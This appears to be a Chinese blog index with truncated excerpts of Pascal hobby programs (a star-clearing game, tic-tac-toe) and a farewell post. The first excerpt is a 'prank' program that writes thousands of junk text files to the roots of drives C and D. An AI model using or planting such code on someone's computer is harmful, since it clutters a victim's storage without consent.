一个整人的Pascal小程序 运行之后硬盘里面会有一大堆垃圾,当然更好的方法当然不是这样做! var a,b,c,d:char;beginfor a:='0' to '9' dofor b:='0' to '9' dofor c:='0' to '9' dofor d:='0' to '9' dobeginassign(output,'C:\'+a+b+c+d+'.txt');rewrite(output);write(1);close(output);assign(output,'D:\'+a…
不要消灭星星 Pascal小游戏 Chaobs改编自pascal吧 控制台小游戏嘛,就当是练习一下结构化的写法. program wxtw; uses crt; type zbdy=record x,y:integer; end; var n,i,x,y,t,sjs:integer; ml:char; zb: array [1..12] of zbdy; begin randomize; sjs:=random(3); zb[1].x:=15; zb[…
一个很经典的井字棋游戏 Pascal源码Chaobs奉上 注意:1.有的FP版本不支持汉语,将会出现乱码.2.别想赢电脑了,平手不错了. 井字过三关: program TicTacToe; uses crt; var a:Array [1..3] of Array [1..3] of char; b:Array [1..3] of Array [1..3] of integer; i,n,g,e,p:integer; t:text; c:char; o:integer; r:integer; s…
这是我最后一篇博客了,由于本人的人生规划吧,以后应该也写不出什么好的技术文章了,到现在在博客园写了2年, 今天一看,我也有了120个粉丝,好几万的浏览量,感谢大家的支持啊~~ 半年没有写博客了,由于半年前为了不出差多点时间陪女神果断翻身到甲方麾下,在甲方搞技术果然 so easy~,在甲方的电商部门,主要玩web前端和PHP,没有继续深入研究.net的知识了,只是用之前自己积累起来的一个快速开发框架(WF模块+WPF模块+报文通讯模块+设备通讯模块)做一些银行方面的私活,说到这个框架请允许我分别…